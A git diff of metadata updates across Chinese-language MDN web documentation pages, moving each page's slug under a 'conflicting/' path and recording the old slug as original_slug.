diff --git a/files/zh-cn/conflicting/web/api/event/composedpath/index.html b/files/zh-cn/conflicting/web/api/event/composedpath/index.html index 61bfdf1366..525b27f4b8 100644 --- a/files/zh-cn/conflicting/web/api/event/composedpath/index.html +++ b/files/zh-cn/conflicting/web/api/event/composedpath/index.html @@ -1,8 +1,9 @@ --- title: Event.deepPath -slug: Web/API/Event/deepPath +slug: conflicting/Web/API/Event/composedPath translation_of: Web/API/Event/composedPath translation_of_original: Web/API/Event/deepPath +original_slug: Web/API/Event/deepPath ---

{{SeeCompatTable}}{{APIRef("Shadow DOM")}}

diff --git a/files/zh-cn/conflicting/web/api/eventtarget/addeventlistener/index.html b/files/zh-cn/conflicting/web/api/eventtarget/addeventlistener/index.html index f637813381..0d43c26ea1 100644 --- a/files/zh-cn/conflicting/web/api/eventtarget/addeventlistener/index.html +++ b/files/zh-cn/conflicting/web/api/eventtarget/addeventlistener/index.html @@ -1,9 +1,10 @@ --- title: 为这个EventTarget附加事件. -slug: Web/API/EventTarget/attachEvent +slug: conflicting/Web/API/EventTarget/addEventListener tags: - Junk translation_of: Web/API/EventTarget/addEventListener translation_of_original: Web/API/EventTarget/attachEvent +original_slug: Web/API/EventTarget/attachEvent ---

{{DOMxRef("EventTarget.addEventListener","EventTarget.addEventListener()")}}

diff --git a/files/zh-cn/conflicting/web/api/eventtarget/dispatchevent/index.html b/files/zh-cn/conflicting/web/api/eventtarget/dispatchevent/index.html index edc74b2306..f28ce6bc9a 100644 --- a/files/zh-cn/conflicting/web/api/eventtarget/dispatchevent/index.html +++ b/files/zh-cn/conflicting/web/api/eventtarget/dispatchevent/index.html @@ -1,8 +1,9 @@ --- title: EventTarget.fireEvent() -slug: Web/API/EventTarget/fireEvent +slug: conflicting/Web/API/EventTarget/dispatchEvent translation_of: Web/API/EventTarget/dispatchEvent translation_of_original: Web/API/EventTarget/fireEvent +original_slug: Web/API/EventTarget/fireEvent ---

{{APIRef("DOM Events")}}

diff --git a/files/zh-cn/conflicting/web/api/eventtarget/removeeventlistener/index.html b/files/zh-cn/conflicting/web/api/eventtarget/removeeventlistener/index.html index 3b4cbcfd90..4331abb35c 100644 --- a/files/zh-cn/conflicting/web/api/eventtarget/removeeventlistener/index.html +++ b/files/zh-cn/conflicting/web/api/eventtarget/removeeventlistener/index.html @@ -1,6 +1,6 @@ --- title: EventTarget.detachEvent() -slug: Web/API/EventTarget/detachEvent +slug: conflicting/Web/API/EventTarget/removeEventListener tags: - API - DOM @@ -8,6 +8,7 @@ tags: - Non-standard translation_of: Web/API/EventTarget/removeEventListener translation_of_original: Web/API/EventTarget/detachEvent +original_slug: Web/API/EventTarget/detachEvent ---

{{APIRef("DOM Events")}}

diff --git a/files/zh-cn/conflicting/web/api/file_and_directory_entries_api/introduction/index.html b/files/zh-cn/conflicting/web/api/file_and_directory_entries_api/introduction/index.html index 90ace79b50..8322c91998 100644 --- a/files/zh-cn/conflicting/web/api/file_and_directory_entries_api/introduction/index.html +++ b/files/zh-cn/conflicting/web/api/file_and_directory_entries_api/introduction/index.html @@ -1,8 +1,9 @@ --- title: File System API guide -slug: WebGuide/API/File_System +slug: conflicting/Web/API/File_and_Directory_Entries_API/Introduction translation_of: Web/API/File_and_Directory_Entries_API/Introduction translation_of_original: WebGuide/API/File_System +original_slug: WebGuide/API/File_System ---

{{ SeeCompatTable() }}

The File System API simulates a local file system that web apps can navigate around. You can develop apps that can read, write, and create files and directories in a virtual, sandboxed file system.

diff --git a/files/zh-cn/conflicting/web/api/geolocation/index.html b/files/zh-cn/conflicting/web/api/geolocation/index.html index f5432039ba..e38bc3e6b7 100644 --- a/files/zh-cn/conflicting/web/api/geolocation/index.html +++ b/files/zh-cn/conflicting/web/api/geolocation/index.html @@ -1,8 +1,9 @@ --- title: NavigatorGeolocation -slug: Web/API/NavigatorGeolocation +slug: conflicting/Web/API/Geolocation translation_of: Web/API/Geolocation translation_of_original: Web/API/NavigatorGeolocation +original_slug: Web/API/NavigatorGeolocation ---

{{APIRef("Geolocation API")}}

diff --git a/files/zh-cn/conflicting/web/api/globaleventhandlers/ongotpointercapture/index.html b/files/zh-cn/conflicting/web/api/globaleventhandlers/ongotpointercapture/index.html index 2ff983926f..a792bdd45d 100644 --- a/files/zh-cn/conflicting/web/api/globaleventhandlers/ongotpointercapture/index.html +++ b/files/zh-cn/conflicting/web/api/globaleventhandlers/ongotpointercapture/index.html @@ -1,6 +1,6 @@ --- title: Element.ongotpointercapture -slug: Web/API/Element/ongotpointercapture +slug: conflicting/Web/API/GlobalEventHandlers/ongotpointercapture tags: - API - DOM @@ -16,6 +16,7 @@ tags: - 指针事件 translation_of: Web/API/GlobalEventHandlers/ongotpointercapture translation_of_original: Web/API/Element/ongotpointercapture +original_slug: Web/API/Element/ongotpointercapture ---

{{ ApiRef("DOM") }}

diff --git a/files/zh-cn/conflicting/web/api/globaleventhandlers/onmouseup/index.html b/files/zh-cn/conflicting/web/api/globaleventhandlers/onmouseup/index.html index 03a4b116b8..2a1afdf2ac 100644 --- a/files/zh-cn/conflicting/web/api/globaleventhandlers/onmouseup/index.html +++ b/files/zh-cn/conflicting/web/api/globaleventhandlers/onmouseup/index.html @@ -1,8 +1,9 @@ --- title: window.onmouseup -slug: Web/API/Window/onmouseup +slug: conflicting/Web/API/GlobalEventHandlers/onmouseup translation_of: Web/API/GlobalEventHandlers/onmouseup translation_of_original: Web/API/Window/onmouseup +original_slug: Web/API/Window/onmouseup ---

{{ ApiRef() }}

概述

diff --git a/files/zh-cn/conflicting/web/api/globaleventhandlers/onscroll/index.html b/files/zh-cn/conflicting/web/api/globaleventhandlers/onscroll/index.html index af48e1575f..9bd58ff3f5 100644 --- a/files/zh-cn/conflicting/web/api/globaleventhandlers/onscroll/index.html +++ b/files/zh-cn/conflicting/web/api/globaleventhandlers/onscroll/index.html @@ -1,8 +1,9 @@ --- title: window.onscroll -slug: Web/API/Window/onscroll +slug: conflicting/Web/API/GlobalEventHandlers/onscroll translation_of: Web/API/GlobalEventHandlers/onscroll translation_of_original: Web/API/Window/onscroll +original_slug: Web/API/Window/onscroll ---

{{ ApiRef() }}

概述

diff --git a/files/zh-cn/conflicting/web/api/globaleventhandlers/ontouchmove/index.html b/files/zh-cn/conflicting/web/api/globaleventhandlers/ontouchmove/index.html index 3bbf3d5ce4..7579ce0d36 100644 --- a/files/zh-cn/conflicting/web/api/globaleventhandlers/ontouchmove/index.html +++ b/files/zh-cn/conflicting/web/api/globaleventhandlers/ontouchmove/index.html @@ -1,8 +1,9 @@ --- title: GlobalEventHandlers.ontouchmove -slug: Web/API/GlobalEventHandlers/GlobalEventHanders.ontouchmove +slug: conflicting/Web/API/GlobalEventHandlers/ontouchmove translation_of: Web/API/GlobalEventHandlers/ontouchmove translation_of_original: Web/API/GlobalEventHandlers/GlobalEventHanders.ontouchmove +original_slug: Web/API/GlobalEventHandlers/GlobalEventHanders.ontouchmove ---
{{ApiRef("HTML DOM")}}
diff --git a/files/zh-cn/conflicting/web/api/htmlelement/outertext/index.html b/files/zh-cn/conflicting/web/api/htmlelement/outertext/index.html index 01de770af7..54458e93a2 100644 --- a/files/zh-cn/conflicting/web/api/htmlelement/outertext/index.html +++ b/files/zh-cn/conflicting/web/api/htmlelement/outertext/index.html @@ -1,9 +1,10 @@ --- title: Node.outerText -slug: Web/API/Node/outerText +slug: conflicting/Web/API/HTMLElement/outerText tags: - Node.outerText translation_of: Web/API/HTMLElement/outerText translation_of_original: Web/API/Node/outerText +original_slug: Web/API/Node/outerText ---

请参阅 {{domxref("HTMLElement.outerText")}}

diff --git a/files/zh-cn/conflicting/web/api/htmlinputelement/index.html b/files/zh-cn/conflicting/web/api/htmlinputelement/index.html index 0cccf89889..82a91a1271 100644 --- a/files/zh-cn/conflicting/web/api/htmlinputelement/index.html +++ b/files/zh-cn/conflicting/web/api/htmlinputelement/index.html @@ -1,8 +1,9 @@ --- title: HTMLInputElement.mozSetFileNameArray -slug: Web/API/HTMLInputElement/mozSetFileNameArray +slug: conflicting/Web/API/HTMLInputElement translation_of: Web/API/HTMLInputElement translation_of_original: Web/API/HTMLInputElement/mozSetFileNameArray +original_slug: Web/API/HTMLInputElement/mozSetFileNameArray ---
diff --git a/files/zh-cn/conflicting/web/api/htmlmediaelement/abort_event/index.html b/files/zh-cn/conflicting/web/api/htmlmediaelement/abort_event/index.html index 9a233b4d80..1b77441e5e 100644 --- a/files/zh-cn/conflicting/web/api/htmlmediaelement/abort_event/index.html +++ b/files/zh-cn/conflicting/web/api/htmlmediaelement/abort_event/index.html @@ -1,10 +1,11 @@ --- title: abort -slug: Web/Events/abort +slug: conflicting/Web/API/HTMLMediaElement/abort_event tags: - abort translation_of: Web/API/HTMLMediaElement/abort_event translation_of_original: Web/Events/abort +original_slug: Web/Events/abort ---

当一个资源的加载已中止时,将触发 abort事件。

diff --git a/files/zh-cn/conflicting/web/api/index.html b/files/zh-cn/conflicting/web/api/index.html index f1a247fd70..333f98f0a4 100644 --- a/files/zh-cn/conflicting/web/api/index.html +++ b/files/zh-cn/conflicting/web/api/index.html @@ -1,8 +1,9 @@ --- title: Element.name -slug: Web/API/Element/name +slug: conflicting/Web/API translation_of: Web/API translation_of_original: Web/API/Element/name +original_slug: Web/API/Element/name ---

{{ APIRef() }}

diff --git a/files/zh-cn/conflicting/web/api/mouseevent/altkey/index.html b/files/zh-cn/conflicting/web/api/mouseevent/altkey/index.html index fb69717e99..382f62201d 100644 --- a/files/zh-cn/conflicting/web/api/mouseevent/altkey/index.html +++ b/files/zh-cn/conflicting/web/api/mouseevent/altkey/index.html @@ -1,8 +1,9 @@ --- title: event.altKey -slug: Web/API/event.altKey +slug: conflicting/Web/API/MouseEvent/altKey translation_of: Web/API/MouseEvent/altKey translation_of_original: Web/API/event.altKey +original_slug: Web/API/event.altKey ---

{{ ApiRef() }}

概述

diff --git a/files/zh-cn/conflicting/web/api/mouseevent/button/index.html b/files/zh-cn/conflicting/web/api/mouseevent/button/index.html index c75916a287..1a3142e74e 100644 --- a/files/zh-cn/conflicting/web/api/mouseevent/button/index.html +++ b/files/zh-cn/conflicting/web/api/mouseevent/button/index.html @@ -1,8 +1,9 @@ --- title: event.button -slug: Web/API/event.button +slug: conflicting/Web/API/MouseEvent/button translation_of: Web/API/MouseEvent/button translation_of_original: Web/API/event.button +original_slug: Web/API/event.button ---

{{ ApiRef() }}

概述

diff --git a/files/zh-cn/conflicting/web/api/mouseevent/relatedtarget/index.html b/files/zh-cn/conflicting/web/api/mouseevent/relatedtarget/index.html index a334f4b2eb..aed477e044 100644 --- a/files/zh-cn/conflicting/web/api/mouseevent/relatedtarget/index.html +++ b/files/zh-cn/conflicting/web/api/mouseevent/relatedtarget/index.html @@ -1,8 +1,9 @@ --- title: event.relatedTarget -slug: Web/API/event.relatedTarget +slug: conflicting/Web/API/MouseEvent/relatedTarget translation_of: Web/API/MouseEvent/relatedTarget translation_of_original: Web/API/event.relatedTarget +original_slug: Web/API/event.relatedTarget ---

 

diff --git a/files/zh-cn/conflicting/web/api/mouseevent/shiftkey/index.html b/files/zh-cn/conflicting/web/api/mouseevent/shiftkey/index.html index e01246caca..d61d354b15 100644 --- a/files/zh-cn/conflicting/web/api/mouseevent/shiftkey/index.html +++ b/files/zh-cn/conflicting/web/api/mouseevent/shiftkey/index.html @@ -1,8 +1,9 @@ --- title: event.shiftKey -slug: Web/API/event.shiftKey +slug: conflicting/Web/API/MouseEvent/shiftKey translation_of: Web/API/MouseEvent/shiftKey translation_of_original: Web/API/event.shiftKey +original_slug: Web/API/event.shiftKey ---

{{ ApiRef() }}

概述

diff --git a/files/zh-cn/conflicting/web/api/node/getrootnode/index.html b/files/zh-cn/conflicting/web/api/node/getrootnode/index.html index 6291ef7fd6..ea5deb0b98 100644 --- a/files/zh-cn/conflicting/web/api/node/getrootnode/index.html +++ b/files/zh-cn/conflicting/web/api/node/getrootnode/index.html @@ -1,6 +1,6 @@ --- title: Node.rootNode -slug: Web/API/Node/rootNode +slug: conflicting/Web/API/Node/getRootNode tags: - API - DOM @@ -10,6 +10,7 @@ tags: - rootNode translation_of: Web/API/Node/getRootNode translation_of_original: Web/API/Node/rootNode +original_slug: Web/API/Node/rootNode ---

{{deprecated_header}}{{APIRef("DOM")}}{{SeeCompatTable}}

diff --git a/files/zh-cn/conflicting/web/api/node/index.html b/files/zh-cn/conflicting/web/api/node/index.html index ad04356656..08e2664f32 100644 --- a/files/zh-cn/conflicting/web/api/node/index.html +++ b/files/zh-cn/conflicting/web/api/node/index.html @@ -1,8 +1,9 @@ --- title: Node.baseURIObject -slug: Web/API/Node/baseURIObject +slug: conflicting/Web/API/Node translation_of: Web/API/Node translation_of_original: Web/API/Node/baseURIObject +original_slug: Web/API/Node/baseURIObject ---
{{ApiRef}} {{Fx_minversion_header("3")}} {{Non-standard_header}}
diff --git a/files/zh-cn/conflicting/web/api/node_378aed5ed6869e50853edbc988cf9556/index.html b/files/zh-cn/conflicting/web/api/node_378aed5ed6869e50853edbc988cf9556/index.html index 58844aef2e..03f557b347 100644 --- a/files/zh-cn/conflicting/web/api/node_378aed5ed6869e50853edbc988cf9556/index.html +++ b/files/zh-cn/conflicting/web/api/node_378aed5ed6869e50853edbc988cf9556/index.html @@ -1,8 +1,9 @@ --- title: Node.nodePrincipal -slug: Web/API/Node/nodePrincipal +slug: conflicting/Web/API/Node_378aed5ed6869e50853edbc988cf9556 translation_of: Web/API/Node translation_of_original: Web/API/Node/nodePrincipal +original_slug: Web/API/Node/nodePrincipal ---
{{APIRef}}{{Fx_minversion_header(3)}}{{Non-standard_header}} diff --git a/files/zh-cn/conflicting/web/api/push_api/index.html b/files/zh-cn/conflicting/web/api/push_api/index.html index e616d4e12d..76526ed4ce 100644 --- a/files/zh-cn/conflicting/web/api/push_api/index.html +++ b/files/zh-cn/conflicting/web/api/push_api/index.html @@ -1,6 +1,6 @@ --- title: Using the Push API -slug: Web/API/Push_API/Using_the_Push_API +slug: conflicting/Web/API/Push_API tags: - Push - Push API @@ -8,6 +8,7 @@ tags: - Using the Push API translation_of: Web/API/Push_API translation_of_original: Web/API/Push_API/Using_the_Push_API +original_slug: Web/API/Push_API/Using_the_Push_API ---

W3C Push API 为开发人员在Web应用程序中提供了一些令人兴奋的新功能:本文提供了一个简单的演示,以获取Push通知的设置和运行。

diff --git a/files/zh-cn/conflicting/web/api/url/index.html b/files/zh-cn/conflicting/web/api/url/index.html index 3ca38bbd39..3245250d9c 100644 --- a/files/zh-cn/conflicting/web/api/url/index.html +++ b/files/zh-cn/conflicting/web/api/url/index.html @@ -1,10 +1,11 @@ --- title: Window.URL -slug: Web/API/Window/URL +slug: conflicting/Web/API/URL tags: - Window.URL translation_of: Web/API/URL translation_of_original: Web/API/Window/URL +original_slug: Web/API/Window/URL ---

{{ApiRef("Window")}}{{SeeCompatTable}}

diff --git a/files/zh-cn/conflicting/web/api/web_storage_api/index.html b/files/zh-cn/conflicting/web/api/web_storage_api/index.html index 194b71a94a..c5bde57455 100644 --- a/files/zh-cn/conflicting/web/api/web_storage_api/index.html +++ b/files/zh-cn/conflicting/web/api/web_storage_api/index.html @@ -1,8 +1,9 @@ --- title: Storage -slug: Web/Guide/API/DOM/Storage +slug: conflicting/Web/API/Web_Storage_API translation_of: Web/API/Web_Storage_API translation_of_original: Web/Guide/API/DOM/Storage +original_slug: Web/Guide/API/DOM/Storage ---

概述

diff --git a/files/zh-cn/conflicting/web/api/webrtc_api/index.html b/files/zh-cn/conflicting/web/api/webrtc_api/index.html index da693553b8..bfc9b851dc 100644 --- a/files/zh-cn/conflicting/web/api/webrtc_api/index.html +++ b/files/zh-cn/conflicting/web/api/webrtc_api/index.html @@ -1,8 +1,9 @@ --- title: WebRTC API overview -slug: Web/API/WebRTC_API/Overview +slug: conflicting/Web/API/WebRTC_API translation_of: Web/API/WebRTC_API#WebRTC_concepts_and_usage translation_of_original: Web/API/WebRTC_API/Overview +original_slug: Web/API/WebRTC_API/Overview ---

{{WebRTCSidebar}}

diff --git a/files/zh-cn/conflicting/web/api/webrtc_api/protocols/index.html b/files/zh-cn/conflicting/web/api/webrtc_api/protocols/index.html index 5f37d83529..7aa818b5d5 100644 --- a/files/zh-cn/conflicting/web/api/webrtc_api/protocols/index.html +++ b/files/zh-cn/conflicting/web/api/webrtc_api/protocols/index.html @@ -1,10 +1,11 @@ --- title: WebRTC 架构概览 -slug: Web/API/WebRTC_API/Architecture +slug: conflicting/Web/API/WebRTC_API/Protocols tags: - WebRTC 架构概览 translation_of: Web/API/WebRTC_API/Protocols translation_of_original: Web/API/WebRTC_API/Architecture +original_slug: Web/API/WebRTC_API/Architecture ---

{{WebRTCSidebar}}

diff --git a/files/zh-cn/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html b/files/zh-cn/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html index 67464bdbd1..d3ca2eb29c 100644 --- a/files/zh-cn/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html +++ b/files/zh-cn/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html @@ -1,8 +1,9 @@ --- title: WebRTC basics -slug: Web/API/WebRTC_API/WebRTC_basics +slug: conflicting/Web/API/WebRTC_API/Signaling_and_video_calling translation_of: Web/API/WebRTC_API/Signaling_and_video_calling translation_of_original: Web/API/WebRTC_API/WebRTC_basics +original_slug: Web/API/WebRTC_API/WebRTC_basics ---

{{WebRTCSidebar}}

diff --git a/files/zh-cn/conflicting/web/api/webrtc_api_d8621144cbc61520339c3b10c61731f0/index.html b/files/zh-cn/conflicting/web/api/webrtc_api_d8621144cbc61520339c3b10c61731f0/index.html index 75330b8894..4f15dae53e 100644 --- a/files/zh-cn/conflicting/web/api/webrtc_api_d8621144cbc61520339c3b10c61731f0/index.html +++ b/files/zh-cn/conflicting/web/api/webrtc_api_d8621144cbc61520339c3b10c61731f0/index.html @@ -1,8 +1,9 @@ --- title: WebRTC -slug: WebRTC +slug: conflicting/Web/API/WebRTC_API_d8621144cbc61520339c3b10c61731f0 translation_of: Web/API/WebRTC_API translation_of_original: WebRTC +original_slug: WebRTC ---

WebRTC中的RTC是实时通信的简称,这是一种支持在浏览器客户端之间语音/视频交流和数据分享的技术。WebRTC作为一项标准,使得所有浏览器无需安装插件或第三方软件,就可以点对点地分享应用数据和进行电话会议。

diff --git a/files/zh-cn/conflicting/web/api/window/localstorage/index.html b/files/zh-cn/conflicting/web/api/window/localstorage/index.html index 46384c660e..eab3bf85fe 100644 --- a/files/zh-cn/conflicting/web/api/window/localstorage/index.html +++ b/files/zh-cn/conflicting/web/api/window/localstorage/index.html @@ -1,11 +1,12 @@ --- title: LocalStorage -slug: Web/API/Storage/LocalStorage +slug: conflicting/Web/API/Window/localStorage tags: - 存储API - 离线 translation_of: Web/API/Window/localStorage translation_of_original: Web/API/Web_Storage_API/Local_storage +original_slug: Web/API/Storage/LocalStorage ---

localStorage 与 sessionStorage 一样,都遵循同源策略,但是它是持续存在的。localStorage 首次出现于 Firefox 3.5。

diff --git a/files/zh-cn/conflicting/web/api/window/moveto/index.html b/files/zh-cn/conflicting/web/api/window/moveto/index.html index 140827ddb9..066314234c 100644 --- a/files/zh-cn/conflicting/web/api/window/moveto/index.html +++ b/files/zh-cn/conflicting/web/api/window/moveto/index.html @@ -1,8 +1,9 @@ --- title: Window.restore() -slug: Web/API/Window/restore +slug: conflicting/Web/API/Window/moveTo translation_of: Web/API/Window/moveTo translation_of_original: Web/API/Window/restore +original_slug: Web/API/Window/restore ---

{{APIRef}}

diff --git a/files/zh-cn/conflicting/web/api_dd04ca1265cb79b990b8120e5f5070d3/index.html b/files/zh-cn/conflicting/web/api_dd04ca1265cb79b990b8120e5f5070d3/index.html index 4db001830f..4a7bcf7366 100644 --- a/files/zh-cn/conflicting/web/api_dd04ca1265cb79b990b8120e5f5070d3/index.html +++ b/files/zh-cn/conflicting/web/api_dd04ca1265cb79b990b8120e5f5070d3/index.html @@ -1,8 +1,9 @@ --- title: WebAPI -slug: WebAPI +slug: conflicting/Web/API_dd04ca1265cb79b990b8120e5f5070d3 translation_of: Web/API translation_of_original: WebAPI +original_slug: WebAPI ---

WebAPI指一组设备兼容套件和访问接口,它允许Web应用及其内容访问设备硬件(比如电池状态或设备振动器),同时也可以获取设备上的数据(比如日历或联系人等信息)。通过这些API,我们希望对Web应用进行扩展,实现过去只有专有平台才可以实现的功能。

diff --git a/files/zh-cn/conflicting/web/css/@viewport/index.html b/files/zh-cn/conflicting/web/css/@viewport/index.html index 92d33a292c..5932c8d574 100644 --- a/files/zh-cn/conflicting/web/css/@viewport/index.html +++ b/files/zh-cn/conflicting/web/css/@viewport/index.html @@ -1,8 +1,9 @@ --- title: height -slug: Web/CSS/@viewport/height +slug: conflicting/Web/CSS/@viewport translation_of: Web/CSS/@viewport translation_of_original: Web/CSS/@viewport/height +original_slug: Web/CSS/@viewport/height ---
{{CSSRef}}
diff --git a/files/zh-cn/conflicting/web/css/@viewport_7861ca3461a359b150d44f2c8d74e53a/index.html b/files/zh-cn/conflicting/web/css/@viewport_7861ca3461a359b150d44f2c8d74e53a/index.html index 11519cee6e..eac64dabdb 100644 --- a/files/zh-cn/conflicting/web/css/@viewport_7861ca3461a359b150d44f2c8d74e53a/index.html +++ b/files/zh-cn/conflicting/web/css/@viewport_7861ca3461a359b150d44f2c8d74e53a/index.html @@ -1,11 +1,12 @@ --- title: orientation -slug: Web/CSS/@viewport/orientation +slug: conflicting/Web/CSS/@viewport_7861ca3461a359b150d44f2c8d74e53a tags: - CSS - CSS Description translation_of: Web/CSS/@viewport translation_of_original: Web/CSS/@viewport/orientation +original_slug: Web/CSS/@viewport/orientation ---
{{CSSRef}}
diff --git a/files/zh-cn/conflicting/web/css/@viewport_a33ee59ffd8336ffb3336900dea02e9f/index.html b/files/zh-cn/conflicting/web/css/@viewport_a33ee59ffd8336ffb3336900dea02e9f/index.html index 2716ef1d6f..8798295f4b 100644 --- a/files/zh-cn/conflicting/web/css/@viewport_a33ee59ffd8336ffb3336900dea02e9f/index.html +++ b/files/zh-cn/conflicting/web/css/@viewport_a33ee59ffd8336ffb3336900dea02e9f/index.html @@ -1,8 +1,9 @@ --- title: viewport-fit -slug: Web/CSS/@viewport/viewport-fit +slug: conflicting/Web/CSS/@viewport_a33ee59ffd8336ffb3336900dea02e9f translation_of: Web/CSS/@viewport translation_of_original: Web/CSS/@viewport/viewport-fit +original_slug: Web/CSS/@viewport/viewport-fit ---
{{CSSRef}} {{Draft}} {{SeeCompatTable}}
diff --git a/files/zh-cn/conflicting/web/css/@viewport_c925ec0506b352ea1185248b874f7848/index.html b/files/zh-cn/conflicting/web/css/@viewport_c925ec0506b352ea1185248b874f7848/index.html index ed5c585a7e..709a42b3d1 100644 --- a/files/zh-cn/conflicting/web/css/@viewport_c925ec0506b352ea1185248b874f7848/index.html +++ b/files/zh-cn/conflicting/web/css/@viewport_c925ec0506b352ea1185248b874f7848/index.html @@ -1,8 +1,9 @@ --- title: width -slug: Web/CSS/@viewport/width +slug: conflicting/Web/CSS/@viewport_c925ec0506b352ea1185248b874f7848 translation_of: Web/CSS/@viewport translation_of_original: Web/CSS/@viewport/width +original_slug: Web/CSS/@viewport/width ---
{{CSSRef}}
diff --git a/files/zh-cn/conflicting/web/css/@viewport_e065ce90bde08c9679692adbe64f6518/index.html b/files/zh-cn/conflicting/web/css/@viewport_e065ce90bde08c9679692adbe64f6518/index.html index 894e8a6c73..0e9cc815ec 100644 --- a/files/zh-cn/conflicting/web/css/@viewport_e065ce90bde08c9679692adbe64f6518/index.html +++ b/files/zh-cn/conflicting/web/css/@viewport_e065ce90bde08c9679692adbe64f6518/index.html @@ -1,11 +1,12 @@ --- title: zoom -slug: Web/CSS/@viewport/zoom +slug: conflicting/Web/CSS/@viewport_e065ce90bde08c9679692adbe64f6518 tags: - CSS - CSS Descriptor translation_of: Web/CSS/@viewport translation_of_original: Web/CSS/@viewport/zoom +original_slug: Web/CSS/@viewport/zoom ---
{{ CSSRef }}
diff --git a/files/zh-cn/conflicting/web/css/_colon_is/index.html b/files/zh-cn/conflicting/web/css/_colon_is/index.html index e9f8527a79..4665363416 100644 --- a/files/zh-cn/conflicting/web/css/_colon_is/index.html +++ b/files/zh-cn/conflicting/web/css/_colon_is/index.html @@ -1,12 +1,13 @@ --- title: ':any' -slug: 'Web/CSS/:any' +slug: conflicting/Web/CSS/:is tags: - CSS - 伪类选择器 - 实验性 -translation_of: 'Web/CSS/:is' -translation_of_original: 'Web/CSS/:any' +translation_of: Web/CSS/:is +translation_of_original: Web/CSS/:any +original_slug: Web/CSS/:any ---
{{CSSRef}}{{SeeCompatTable}}
diff --git a/files/zh-cn/conflicting/web/css/_colon_placeholder-shown/index.html b/files/zh-cn/conflicting/web/css/_colon_placeholder-shown/index.html index f7493e4757..af8a706fa9 100644 --- a/files/zh-cn/conflicting/web/css/_colon_placeholder-shown/index.html +++ b/files/zh-cn/conflicting/web/css/_colon_placeholder-shown/index.html @@ -1,13 +1,14 @@ --- title: ':-moz-placeholder' -slug: 'Web/CSS/:-moz-placeholder' +slug: conflicting/Web/CSS/:placeholder-shown tags: - CSS - CSS Pseudo-class - CSS Reference - Non-standard -translation_of: 'Web/CSS/:placeholder-shown' -translation_of_original: 'Web/CSS/:-moz-placeholder' +translation_of: Web/CSS/:placeholder-shown +translation_of_original: Web/CSS/:-moz-placeholder +original_slug: Web/CSS/:-moz-placeholder ---

 

diff --git a/files/zh-cn/conflicting/web/css/_doublecolon_placeholder/index.html b/files/zh-cn/conflicting/web/css/_doublecolon_placeholder/index.html index 3c08f433c8..b66dc3a6ef 100644 --- a/files/zh-cn/conflicting/web/css/_doublecolon_placeholder/index.html +++ b/files/zh-cn/conflicting/web/css/_doublecolon_placeholder/index.html @@ -1,13 +1,14 @@ --- title: '::-moz-placeholder' -slug: 'Web/CSS/::-moz-placeholder' +slug: conflicting/Web/CSS/::placeholder tags: - CSS - CSS Pseudo-class - CSS Reference - Non-standard -translation_of: 'Web/CSS/::placeholder' -translation_of_original: 'Web/CSS/::-moz-placeholder' +translation_of: Web/CSS/::placeholder +translation_of_original: Web/CSS/::-moz-placeholder +original_slug: Web/CSS/::-moz-placeholder ---
{{Non-standard_header}}{{CSSRef}}
diff --git a/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/index.html b/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/index.html index 96d540eedd..8fe764c269 100644 --- a/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/index.html +++ b/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/index.html @@ -1,6 +1,6 @@ --- title: CSS Background and Borders -slug: Web/CSS/CSS_Background_and_Borders +slug: conflicting/Web/CSS/CSS_Backgrounds_and_Borders tags: - CSS - CSS Backgrounds and Borders @@ -10,6 +10,7 @@ tags: - TopicStub translation_of: Web/CSS/CSS_Backgrounds_and_Borders translation_of_original: Web/CSS/CSS_Background_and_Borders +original_slug: Web/CSS/CSS_Background_and_Borders ---

{{CSSRef}}

diff --git a/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/resizing_background_images/index.html b/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/resizing_background_images/index.html index 611a58af85..8d64addd68 100644 --- a/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/resizing_background_images/index.html +++ b/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/resizing_background_images/index.html @@ -1,6 +1,6 @@ --- title: 缩放背景图像 -slug: Web/Guide/CSS/Scaling_background_images +slug: conflicting/Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images tags: - Advanced - CSS @@ -11,6 +11,7 @@ tags: - 背景图片 translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images translation_of_original: Web/CSS/CSS_Background_and_Borders/Scaling_background_images +original_slug: Web/Guide/CSS/Scaling_background_images ---
{{cssref}}
diff --git a/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html b/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html index 66cd1921d5..b1d5ee045e 100644 --- a/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html +++ b/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html @@ -1,6 +1,6 @@ --- title: 使用CSS的多背景 -slug: Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds +slug: conflicting/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds tags: - CSS - CSS Background @@ -9,6 +9,7 @@ tags: - Intermediate translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds translation_of_original: Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds +original_slug: Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds ---

{{CSSRef}}

diff --git a/files/zh-cn/conflicting/web/css/css_color/index.html b/files/zh-cn/conflicting/web/css/css_color/index.html index 60036fea2b..65153a61df 100644 --- a/files/zh-cn/conflicting/web/css/css_color/index.html +++ b/files/zh-cn/conflicting/web/css/css_color/index.html @@ -1,6 +1,6 @@ --- title: CSS Colors -slug: Web/CSS/CSS_Colors +slug: conflicting/Web/CSS/CSS_Color tags: - CSS - CSS Colors @@ -10,6 +10,7 @@ tags: - TopicStub translation_of: Web/CSS/CSS_Color translation_of_original: Web/CSS/CSS_Colors +original_slug: Web/CSS/CSS_Colors ---
{{CSSRef}}
